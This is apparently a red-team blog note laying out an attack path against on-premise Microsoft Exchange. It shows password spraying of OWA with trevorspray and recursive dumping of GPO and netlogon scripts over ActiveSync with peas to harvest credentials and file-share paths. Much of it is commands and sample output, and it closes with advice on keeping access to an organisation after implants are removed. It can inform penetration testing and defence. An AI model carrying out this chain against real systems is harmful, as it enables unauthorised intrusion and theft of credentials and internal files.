# tl;dr On-premise Exchange could as well be considered a backdoor at this point. In this short note, I'd like to explore a very likely attack chain that would allow internal infrastructure access to an outside, external attacker via password spraying and ActiveSync. > **note:** [ActiveSync security research](https://labs.f-secure.com/archive/accessing-internal-fileshares-through-exchange-activesync/) is quite old at this point, and this article does not present anything new. The goal is to provide an example of a working attack path for future reference. > There's also an example of automating recursive directory search with `peas` on https://gist.github.com/zimnyaa/c4380b0c6a62f8b4946d114aa2e05a7f # password spraying In our hypothetical scenario the attacker would get initial credentials via password spraying. Crafting email lists and password candidates is an undervalued art, but for simplicity's sake we will assume that emails were obtained from websites akin to [hunter.io](hunter.io) or [snov.io](snov.io), and the password lists were based on previous `secretsdump` results of similar companies in the sector. The attacker fires up [trevorspray](https://github.com/blacklanternsecurity/TREVORspray) to start the recon of the Exchange deployment and finds the OWA: ```js $ trevorspray -r domain.com ... SNIP ... [INFO] Attempting to discover OWA instances [SUCC] Found OWA at https://autodiscover.domain.com/autodiscover/autodiscover.xml [SUCC] Found OWA at https://owa.domain.com/autodiscover/autodiscover.xml [SUCC] Found internal domain via NTLM: "corp.local" [SUCC] { "NetBIOS_Domain_Name": "CORP", "NetBIOS_Computer_Name": "EXCH01", "DNS_Domain_name": "corp.local", "FQDN": "exch01.corp.local", "DNS_Tree_Name": "corp.local" } ... SNIP ... ``` Then, the spray starts, and there's a hit: ```bash $ trevorspray -u emails.txt -p '!QAZ1qaz' -m owa ... SNIP ... [VERB] Waiting for proxy threads to finish [SUCC] [email protected]:!QAZ1qaz - Valid credential! ... SNIP ... ``` Typically, now the attacker would log in to the OWA portal, enumerate SSO and read email to look for infromation. However, while he does all that, some recon can be automated in the background. # PEAS and ActiveSync [peas](https://github.com/FSecureLABS/peas) is a python library for easy interaction with Exchange ActiveSync, and the most interesting feature of it is exploring UNC paths of the domain where Exchange is deployed. As `trevorspray` discovers the internal domain of the Exchange server via NTLM, the UNC path of the domain controller is already known. This allows for an attacker to search GPO scripts for credentials or other interesting information. `peas` can't do recursive directory search, but it's [easy to automate](https://gist.github.com/zimnyaa/c4380b0c6a62f8b4946d114aa2e05a7f): ```j $ python3 pgpo.py [peas-gpo]: auth True [peas-gpo]: listing: \\corp\netlogon\ [peas-gpo] navigating subfolder \\corp\netlogon\pwdage [peas-gpo]: !recurse_listing listing: \\corp\netlogon\pwdage [peas-gpo] dumping script \\corp\netlogon\pwdage\pwdage_noautorun.cmd ... SNIP ... ``` > **note:** the DC's name has to be bruteforced, though, IIRC. I usually obtain the Exchange hostname from NTLM and then follow the naming scheme used internally. If the attacker finds administrative credentials there, it's practically the end of the engagement. The only thing left at this point is to find the external VPN (if there's MFA, that's a story for another post), which can be easily done by sifting through IT mass emails on the owned mailbox. I've personally seen gems like this in GPOs: ```powershell $username = "serviceupdateacount" $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider $utf8 = New-Object -TypeName System.Text.UTF8Encoding $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($username))) $password = $hash | ConvertTo-SecureString $credentials = New-Object System.Management.Automation.PSCredential $username,$password # do something with the credential here ``` If there are no passwords in GPOs, though, the second best thing are drive mappings: ```j [peas-gpo] enumerating GPO {UUID_REDACTED} [peas-gpo] dumping script \\corp\sysvol\corp.local\policies\{UUID_REDACTED}\User\Scripts\Logon\map_drives.bat @echo off ping localhost -n 10 > nul net use r: /delete net use r: \\fs-corp\public$ net use w: \\fs-corp\hrdep$ net use t: \\10.0.0.5\drv .. SNIP ... ``` Sometimes, the objective of the attack could be completed just with pulling correct files from correct internal shares. `recursive_download` from the script above could be easily adapted to search through these as well. > **note:** This approach could also be used to partially retain access to an organization after all your C2 implants die. In that case partially cracked hashes (if you could afford `secretsdump` due to OPSEC) and a complete user list pulled from LDAP make it way easier to retain at least some traces of access through EAS or maybe even provide a hope to return (e.g. via reading updated remote access documentation).